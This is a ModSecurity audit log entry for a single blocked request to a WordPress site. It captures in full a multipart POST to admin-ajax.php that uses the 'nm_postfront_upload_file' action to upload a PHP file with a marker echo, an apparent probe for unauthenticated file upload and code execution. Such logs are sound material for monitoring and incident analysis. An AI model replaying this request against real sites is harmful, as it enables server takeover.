--efb71f78-A--
[14/Jan/2026:22:31:49 --0500] aWhfpLhenDUAAAlMKD0AAAAg 143.198.98.214 56536 127.0.1.65 80
--efb71f78-B--
POST /wp-admin/admin-ajax.php HTTP/1.1
X-Real-IP: 143.198.98.214
Host: www.fagottube.com
Connection: close
Content-Length: 546
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary38HB3TbJjGvUCV80WccWykY99Kh
Accept-Encoding: gzip

--efb71f78-C--
------WebKitFormBoundary38HB3TbJjGvUCV80WccWykY99Kh
Content-Disposition: form-data; name="action"

nm_postfront_upload_file
------WebKitFormBoundary38HB3TbJjGvUCV80WccWykY99Kh
Content-Disposition: form-data; name="name"

38hb3vrl9a5rfsnftn0vudw5n1n.php
------WebKitFormBoundary38HB3TbJjGvUCV80WccWykY99Kh
Content-Disposition: form-data; name="file"; filename="38hb3vrl9a5rfsnftn0vudw5n1n.php"
Content-Type: application/octet-stream

<?php echo '38HB3UtE4j0I9Sn4FrsLOCyn6RJ'; ?>
------WebKitFormBoundary38HB3TbJjGvUCV80WccWykY99Kh--

--efb71f78-I--
action=nm%5fpostfront%5fupload%5ffile&name=38hb3vrl9a5rfsnftn0vudw5n1n%2ephp
--efb71f78-F--
HTTP/1.1 400 Bad Request
Content-Security-Policy: upgrade-insecure-requests;
X-Powered-By: PHP/5.3.29
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 1
Connection: close
Content-Type: text/html; charset=UTF-8

--efb71f78-E--

--efb71f78-H--
Stopwatch: 1768447908895162 277538 (- - -)
Stopwatch2: 1768447908895162 277538; combined=116, p1=90, p2=14, p3=9, p4=0, p5=2, sr=63, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.1 (http://www.modsecurity.org/); 200911012341.
Server: Apache/2.2.31 (Unix) mod_ssl/2.2.31 OpenSSL/1.0.2k-fips PHP/5.3.29 mod_fastcgi/2.4.6
Engine-Mode: "ENABLED"

--efb71f78-Z--